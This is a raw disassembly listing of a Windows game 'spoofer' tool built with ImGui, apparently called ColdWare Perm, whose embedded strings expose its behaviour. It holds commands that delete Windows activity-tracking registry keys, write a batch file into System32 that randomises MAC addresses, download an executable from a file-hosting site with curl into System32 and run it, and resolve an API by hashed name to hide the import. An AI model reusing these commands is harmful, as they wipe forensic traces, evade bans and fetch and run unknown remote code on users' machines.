lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettingsS_1_5_21_1282084573_1681065996_3115981261_1001__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
mov qword [rbp + 0x80], r12
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x88], r12
movups xmmword [rbp + 0x70], xmm0
call fcn.140135608
movups xmm0, xmmword [str.C:WindowsSystem32checkit.bat]
mov qword [rbp + 0x70], rax
mov rdx, rax
mov qword [rbp + 0x80], Ordinal_32
mov r8d, 0x83e
mov qword [rbp + 0x88], Ordinal_32
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140176410]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x140176418]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x14017641c]
mov word [rax + 0x1c], cx
lea rcx, [rbp + 0x70]
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], r12b
lea rdx, str._shift__0_r_n_ECHO_OFF_r_ntitle__RANDOM__RANDOM__RANDOM__r_n_SETLOCAL_ENABLEDELAYEDEXPANSION_r_n_SETLOCAL_ENABLEEXTENSIONS_r_n_r_n_::Generate_and_implement_a_random_MAC_address_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_CALL_:MAC_r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_NetworkAddress__t_REG_SZ__d__MAC____f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Disable_power_saving_mode_for_network_adapters_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_PnPCapabilities__t_REG_DWORD__d_24__f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Reset_NIC_adapters_so_the_new_MAC_address_is_implemented_and_the_power_saving_mode_is_disabled._r_n_FOR__F__tokens2_delims__skip2____a_IN___wmic_nic_where__netconnectionid_like_____get_netconnectionid_netconnectionstatus__format:csv___DO___r_n_netsh_interface_set_interface_name___a__disable__NUL_2_NUL_r_n_netsh_interface_set_interface_name___a__enable__NUL_2_NUL_r_n___r_n_r_n_GOTO_:EOF_r_n_:MAC_r_n_::Generates_semi_random_value_of_a_length_according_to_the__if__COUNT____line__minus_one__and_from_the_characters_in_the_GEN_variable_r_n_SET_COUNT0_r_n_SET_GENABCDEF0123456789_r_n_SET_GEN226AE_r_n_SET_MAC_r_n_:MACLOOP_r_n_SET__a_COUNT1_r_n_SET_RND_random__r_n_::__n__where_the_value_of_n_is_the_number_of_characters_in_the_GEN_variable_minus_one.__So_if_you_have_15_characters_in_GEN__set_the_number_as_14_r_n_SET__A_RNDRND__16_r_n_SET_RNDGEN_GEN:_RND__1__r_n_SET__A_RND2RND__4_r_n_SET_RNDGEN2_GEN2:_RND2__1__r_n_IF___COUNT____EQU__2___SET_MAC_MAC__RNDGEN2___ELSE__SET_MAC_MAC__RNDGEN___r_n_IF__COUNT___LEQ_11_GOTO_MACLOOP
call fcn.1400482f0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14005f72a
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f725
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060447
call fcn.140135884
lea rcx, str.C:WindowsSystem32checkit.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140042290
call fcn.14002f200
mov rax, qword [0x1403793f0]
mov rcx, qword [rax + 0x4038]
cmp byte [rcx + 0xc3], r12b
jne 0x14005f7a0
movss xmm0, dword [rcx + 0x11c]
movss xmm1, dword [rcx + 0x118]
addss xmm1, xmm12
movss dword [rcx + 0x110], xmm1
movss dword [rcx + 0x114], xmm0
movsd xmm0, qword [rcx + 0x140]
mov eax, dword [rcx + 0x14c]
movsd qword [rcx + 0x138], xmm0
mov dword [rcx + 0x148], eax
mov byte [rcx + 0x150], r13b
movss xmm0, dword [0x140378130]
lea r8, [rbp + 0x1d8]
subss xmm0, dword [0x1401795d8]
lea rdx, [rbp + 0x1e0]
mov dword [rbp + 0x1d8], 0x41900000
lea rcx, str.Container2
mov dword [rbp + 0x1dc], 0x41900000
mulss xmm0, xmm14
movss dword [rbp + 0x1e0], xmm0
movss xmm0, dword [0x140378134]
subss xmm0, xmm6
movss dword [rbp + 0x1e4], xmm0
call fcn.14002ed20
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14037951e]
lea rcx, str.IP_BAN_FIX
call fcn.140030e60
call fcn.140030990
lea rdx, [0x14037951d]
lea rcx, str.SPOOF_ASUS
call fcn.140030e60
call fcn.140030990
lea rdx, [0x14037951c]
lea rcx, str.TPM_BYPASS
call fcn.140030e60
call fcn.140030990
lea rdx, [0x14037952b]
lea rcx, str.NORMAL_SPOOF
call fcn.140030e60
call fcn.140030990
lea rdx, [0x14037952c]
lea rcx, str.EFI_SPOOFER
call fcn.140030e60
call fcn.140030990
mov rcx, qword [0x1403793f0]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
addss xmm1, dword [0x14017958c]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r13b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
call fcn.14002f200
cmp dword [0x140379e64], 2
jne 0x14005fd6a
movss xmm0, dword [0x140378130]
lea r8, [rbp + 0x1e8]
movss xmm1, dword [0x140378134]
lea rdx, [rbp + 0x1f0]
subss xmm0, dword [0x1401795d8]
subss xmm1, xmm6
mov dword [rbp + 0x1e8], 0x41200000
lea rcx, [0x140176280]
mov dword [rbp + 0x1ec], 0x41200000
movss dword [rbp + 0x1f0], xmm0
movss dword [rbp + 0x1f4], xmm1
call fcn.14002ed20
movaps xmm0, xmmword [0x140179890]
lea rdx, str.IP_address_:
lea rcx, [rbp + 0x70]
movups xmmword [rbp + 0x70], xmm0
call fcn.140036cc0
mov rax, qword [0x1403793f0]
mov rcx, qword [rax + 0x4038]
cmp byte [rcx + 0xc3], r12b
jne 0x14005f9c4
movss xmm0, dword [rcx + 0x11c]
movss xmm1, dword [rcx + 0x118]
addss xmm1, dword [0x140179568]
movss dword [rcx + 0x110], xmm1
movss dword [rcx + 0x114], xmm0
movsd xmm0, qword [rcx + 0x140]
mov eax, dword [rcx + 0x14c]
movsd qword [rcx + 0x138], xmm0
mov dword [rcx + 0x148], eax
mov byte [rcx + 0x150], r13b
call fcn.140030990
call fcn.14002f200
jmp 0x14005fd6a
cmp eax, 3
jne 0x14005fd6a
call fcn.14000a2c0
cmp dword [0x140379e64], 3
movss xmm2, dword [rax + 0x10]
mulss xmm2, dword [0x14017955c]
jne 0x14005fa01
movss xmm1, dword [0x1401795e0]
jmp 0x14005fa05
movaps xmm1, xmm8
movss xmm0, dword [0x140379e40]
call fcn.140065350
movaps xmm6, xmm0
movss dword [0x140379e40], xmm6
call fcn.1400148f0
movss xmm1, dword [0x1401794e0]
lea rcx, [0x140379ee0]
mov r10, rax
call fcn.140006150
movsd xmm1, qword [0x140378130]
lea rdx, [rbp + 0x70]
movaps xmm2, xmm10
movsd qword [rbp + 0x70], xmm1
lea rcx, [rbp + 0xa20]
mov r9d, eax
call fcn.1400458f0
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x9e0]
call fcn.140045910
mov rdx, rax
movss dword [rsp + 0x28], xmm13
movaps xmm2, xmm6
mov rcx, r10
call fcn.1400270c0
call fcn.1400148f0
movss xmm1, dword [0x1401794f8]
lea rcx, [0x140379ee0]
mov r10, rax
call fcn.140006150
movsd xmm0, qword [0x140378130]
lea rdx, [rbp + 0x70]
movaps xmm2, xmm10
movsd qword [rbp + 0x70], xmm0
lea rcx, [rbp + 0xa18]
mov r9d, eax
call fcn.1400458f0
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0xa10]
call fcn.140045910
movss xmm2, dword [0x140379e40]
mov rdx, rax
mulss xmm2, xmm10
mov rcx, r10
movss dword [rsp + 0x28], xmm13
call fcn.1400270c0
call fcn.1400148f0
lea rcx, [0x140379ee0]
movaps xmm1, xmm9
mov r10, rax
call fcn.140006150
movsd xmm0, qword [0x140378130]
lea rdx, [rbp + 0x70]
movaps xmm2, xmm10
movsd qword [rbp + 0x70], xmm0
lea rcx, [rbp + 0xa08]
mov r9d, eax
call fcn.1400458f0
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0xa00]
call fcn.140045910
movss xmm2, dword [0x140379e40]
mov rdx, rax
mulss xmm2, dword [0x14017955c]
mov rcx, r10
movss dword [rsp + 0x28], xmm13
call fcn.1400270c0
call fcn.1400148f0
lea rcx, [0x140379ee0]
movaps xmm1, xmm9
mov r10, rax
call fcn.140006150
movsd xmm0, qword [0x140378130]
lea rdx, [rbp + 0x70]
movaps xmm2, xmm10
movsd qword [rbp + 0x70], xmm0
lea rcx, [rbp + 0x9f8]
mov r9d, eax
call fcn.1400458f0
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x978]
call fcn.140045910
movss xmm2, dword [0x140379e40]
mov rdx, rax
mulss xmm2, xmm13
mov rcx, r10
movss dword [rsp + 0x28], xmm13
call fcn.1400270c0
call fcn.1400148f0
lea rcx, [0x140379ee0]
movaps xmm1, xmm9
mov rdi, rax
call fcn.140006150
lea rdx, str.Machine_Virtualized_Succesfully_
movss dword [rsp + 0x20], xmm11
lea rcx, [rbp + 0x970]
mov dword [rbp + 0x1f8], r12d
xor r9d, r9d
mov dword [rbp + 0x1fc], 0x41a00000
xor r8d, r8d
mov ebx, eax
call fcn.14000d670
movsd xmm0, qword [0x140378130]
lea rdx, [rbp + 0x70]
mov r8, rax
movsd qword [rbp + 0x70], xmm0
lea rcx, [rbp + 0x968]
call fcn.140045940
mov rdx, rax
lea r8, [rbp + 0x1f8]
lea rcx, [rbp + 0x960]
call fcn.140045940
mov rdx, rax
lea rcx, [rbp + 0x950]
movaps xmm2, xmm10
call fcn.1400458f0
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x948]
call fcn.140045910
mov rdx, rax
lea r9, str.Machine_Virtualized_Succesfully_
mov r8d, ebx
mov rcx, rdi
call fcn.1400272e0
call fcn.1400148f0
movss xmm1, dword [0x1401794e0]
lea rcx, [0x140379ee0]
mov rdi, rax
call fcn.140006150
lea rdx, str.Restart_PC_To_Apply_Changes
movss dword [rsp + 0x20], xmm11
lea rcx, [rbp + 0x940]
mov dword [rbp + 0x200], r12d
xor r9d, r9d
mov dword [rbp + 0x204], 0x41a00000
xor r8d, r8d
mov ebx, eax
call fcn.14000d670
movsd xmm0, qword [0x140378130]
lea rdx, [rbp + 0x70]
mov r8, rax
movsd qword [rbp + 0x70], xmm0
lea rcx, [rbp + 0x938]
call fcn.140045940
mov rdx, rax
lea r8, [rbp + 0x200]
lea rcx, [rbp + 0x9f0]
call fcn.140045910
mov rdx, rax
lea rcx, [rbp + 0x9e8]
movaps xmm2, xmm10
call fcn.1400458f0
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x9d8]
call fcn.140045910
lea r9, str.Restart_PC_To_Apply_Changes
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1400272e0
movss xmm0, dword [0x140379e40]
comiss xmm0, dword [0x1401795dc]
jbe 0x14005fd6a
mov dword [0x140379e40], r12d
mov ecx, r13d
call fcn.140006400
mov rcx, qword [0x1403793f0]
lea rdx, [rbp + 0x208]
movss xmm0, dword [0x140378130]
subss xmm0, dword [0x1401795bc]
mov dword [rbp + 0x208], 0x42480000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x20c], 0x42480000
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
movss xmm2, dword [rax + 0x28]
movss xmm1, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x8c]
subss xmm1, dword [rax + 0x90]
mov byte [rax + 0x151], r13b
addss xmm2, xmm0
addss xmm1, xmm8
movss dword [rax + 0x110], xmm2
movss dword [rax + 0x114], xmm1
call fcn.14002fc20
test al, al
je 0x14005fe13
mov rcx, qword [0x140379408]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
movss xmm1, dword [0x140379ee4]
lea rcx, [rbp + 0x2a8]
movss xmm0, dword [0x140379ee0]
mov rax, qword [0x1403793f0]
movss dword [rbp + 0x2ac], xmm1
movss dword [rbp + 0x2a8], xmm0
movss xmm0, dword [0x140379ee8]
movss xmm1, dword [rax + 0x38f0]
mulss xmm1, dword [0x1401794d4]
movss dword [rbp + 0x2b0], xmm0
mulss xmm1, dword [0x140379eec]
movss dword [rbp + 0x2b4], xmm1
call fcn.140005bf0
mov ecx, eax
call fcn.140057990
mov rcx, qword [0x1403793f0]
lea rdx, [rbp + 0x70]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r13b
addss xmm0, xmm8
addss xmm1, xmm8
movss dword [rax + 0x114], xmm0
movsd xmm0, qword [0x140378130]
movsd qword [rbp + 0x70], xmm0
movss dword [rax + 0x110], xmm1
call fcn.140037510
mov rax, qword [0x1403793f0]
mov ecx, dword [rax + 0x409c]
test ecx, ecx
je 0x14005ff92
cmp ecx, dword [rax + 0x49a8]
jne 0x14005ff92
mov rcx, qword [0x140379408]
lea rdx, [0x140379480]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x140378134]
lea rcx, [rbp + 0x980]
cvttss2si esi, dword [0x140378130]
movaps xmm2, xmm11
call fcn.140015720
movd xmm0, dword [0x140379484]
lea rcx, [rbp + 0x958]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm11
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.140015720
mov r9d, esi
mov rcx, qword [0x140379408]
mov r8d, ebx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x140379480]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.140013420
call fcn.14000d1a0
mov rcx, qword [0x140379de0]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x140379de0]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x140379de0]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
movss xmm0, dword [rbp + 0xf0]
mov r9d, 3
mov r10, qword [0x140379de0]
mulss xmm0, xmm7
mov dword [rsp + 0x30], r12d
movss dword [rsp + 0x28], xmm9
mov r11, qword [r10]
mulss xmm0, xmm15
cvttss2si eax, xmm0
movaps xmm0, xmm7
mulss xmm0, xmm15
movzx r8d, al
cvttss2si eax, xmm0
movss xmm0, dword [rbp + 0xf4]
mulss xmm0, xmm7
shl eax, 8
or r8d, eax
shl r8d, 8
mulss xmm0, xmm15
cvttss2si eax, xmm0
movss xmm0, dword [rbp + 0xf8]
movzx ecx, al
or r8d, ecx
mulss xmm0, xmm7
shl r8d, 8
mov rcx, r10
mulss xmm0, xmm15
cvttss2si eax, xmm0
movzx edx, al
or r8d, edx
xor edx, edx
mov dword [rsp + 0x20], r8d
xor r8d, r8d
call qword [r11 + 0x158]
mov rcx, qword [0x140379de0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x1400600ee
call fcn.14000d1a0
mov rbx, qword [0x1403793f0]
cmp dword [rbx + 0x4af8], r12d
jg 0x1400600be
mov r8d, 0x76a
lea rdx, str.C:UsersSerfuxDownloadsColdWare_Perm__PLS_I_NEED_UEFI___1_ColdWare_Perm__PLS_I_NEED_UEFI_imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
mov rcx, qword [rax]
mov rax, r12
add rcx, 0x48
cmp byte [rcx], r12b
cmovne rax, rcx
mov rcx, rax
call fcn.14003ee70
mov rcx, qword [0x140379de0]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140379de0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r12
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
mov ebx, reloc.WS2_32.dll_recv
lea rdi, str.Enhance_Your_Game
cmp eax, 0x88760868
jne 0x14005b440
mov rcx, qword [0x140379de0]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
mov ebx, reloc.WS2_32.dll_recv
lea rdi, str.Enhance_Your_Game
cmp eax, 0x88760869
jne 0x14005b440
call fcn.1400612b0
jmp 0x14005b433
mov rbx, qword [0x1403793f0]
test rbx, rbx
je 0x14006016a
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14006018e
jmp 0x14006016d
mov rdi, r12
mov r8d, 0x130
lea rdx, str.C:UsersSerfuxDownloadsColdWare_Perm__PLS_I_NEED_UEFI___1_ColdWare_Perm__PLS_I_NEED_UEFI__backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403793f0]
test rbx, rbx
jne 0x1400601b4
mov r8d, 0x10d9
lea rdx, str.C:UsersSerfuxDownloadsColdWare_Perm__PLS_I_NEED_UEFI___1_ColdWare_Perm__PLS_I_NEED_UEFI_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403793f0]
call fcn.14003f850
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400601c7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x1403793f0]
mov qword [rbx + 0x88], r12
mov qword [rbx + 0x98], r12
test r8, r8
je 0x140060245
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x14006023a
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r12d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8, qword [0x1403793f0]
test r8, r8
je 0x140060268
mov rdi, qword [r8 + 0x90]
test rdi, rdi
jne 0x14006028c
jmp 0x14006026b
mov rdi, r12
mov r8d, 0xca
lea rdx, str.C:UsersSerfuxDownloadsColdWare_Perm__PLS_I_NEED_UEFI___1_ColdWare_Perm__PLS_I_NEED_UEFI__backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x1403793f0]
test r8, r8
jne 0x1400602b2
mov r8d, 0x10d9
lea rdx, str.C:UsersSerfuxDownloadsColdWare_Perm__PLS_I_NEED_UEFI___1_ColdWare_Perm__PLS_I_NEED_UEFI_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x1403793f0]
mov rcx, qword [rdi + 0x38]
lea rbx, [r8 + 8]
test rcx, rcx
je 0x1400602cc
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x1403793f0]
and dword [rbx + 4], 0xfffffff8
mov qword [rbx + 0x78], r12
mov qword [rbx + 0x88], r12
test r8, r8
je 0x140060340
movsx rdx, word [r8 + 0x6078]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rdx*8 + 0x607c]
add rcx, r8
cmp dword [rcx], r9d
je 0x140060335
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [rax*8 + 0x607c]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], r12d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1403793f0]
mov qword [0x1403793f0], rbx
call fcn.1400083d0
mov qword [0x1403793f0], r12
test rbx, rbx
je 0x1400603e6
mov rcx, rbx
call fcn.140022900
mov r8, qword [0x1403793f0]
test r8, r8
je 0x1400603dd
movsx r10, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x1400603d2
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], r12d
inc word [rdx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140379de0]
test rcx, rcx
je 0x1400603ff
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140379de0], r12
mov rcx, qword [0x140379dd8]
test rcx, rcx
je 0x140060418
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140379dd8], r12
mov rcx, qword [0x140379408]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x340]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x1400610b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.curl_https:__files.catbox.moe_xre5ck___output_C:WindowsSystem32_vdfjdisfudasu.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400604f7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400604f7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400604f2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400604d0
cmp r8d, 0x2fa62ca8
je 0x1400604fc
test r9d, r9d
jne 0x1400604b0
mov rax, qword [rax]
jmp 0x140060480
mov edx, dword [rdi + 0x24]
mov ecx, 0x3e8
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
call rax
lea rcx, [rbp + 0x2d8]
call fcn.140048180
lea rcx, [rbp + 0x2b8]
mov r15, rax
call fcn.140048180
mov rbx, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x29
jb 0x1400605da
lea rcx, [r8 + 0x29]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x140060565
mov rsi, qword [rax]
lea rax, [0x140176dc9]
mov edi, reloc.WLDAP32.dll_Ordinal_41
cmp rax, rsi
jbe 0x140060598
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
cmp rcx, rax
ja 0x140060598
cmp rsi, rcx
ja 0x140060590
mov r14, r12
jmp 0x14006059b
mov r14, rsi
sub r14, rcx
jmp 0x14006059b
mov r14, rdi
inc r8
lea rcx, [rsi + 0x29]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rdi
add rdx, rdi
lea rcx, [rsi + r14]
add rdx, r14
sub r8, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400605f9
mov edi, reloc.WLDAP32.dll_Ordinal_41
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov edx, edi
mov rcx, rax
mov qword [rsp + 0x20], rsi
call fcn.140067a60
mov rbx, rax
xorps xmm0, xmm0
lea r8, [0x140171e54]
movups xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0xb0]
xorps xmm1, xmm1
lea rcx, [rbp + 0x100]
movdqu xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r12b
call fcn.1400650d0
movzx edx, byte [rbp]
lea rcx, [rbp - 0x80]
mov r9, r15
mov r8, rax
call fcn.140066fa0
lea r8, [0x140176d90]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xd0]
call fcn.1400650d0
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xd0]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x100]
call fcn.140031ad0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400606ec
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400606e7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400606e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140135884
movdqa xmm0, xmmword [0x1401796a0]
lea rcx, [rbp + 0x2b8]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], r12b
call fcn.140031ad0
lea rcx, [rbp + 0x2d8]
call fcn.140031ad0
lea rcx, [rbp + 0x90]
call fcn.140048180
lea rcx, [rbp + 0x2d8]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
lea rcx, [rbp + 0x2b8]
call fcn.140064e10
mov rdx, rax
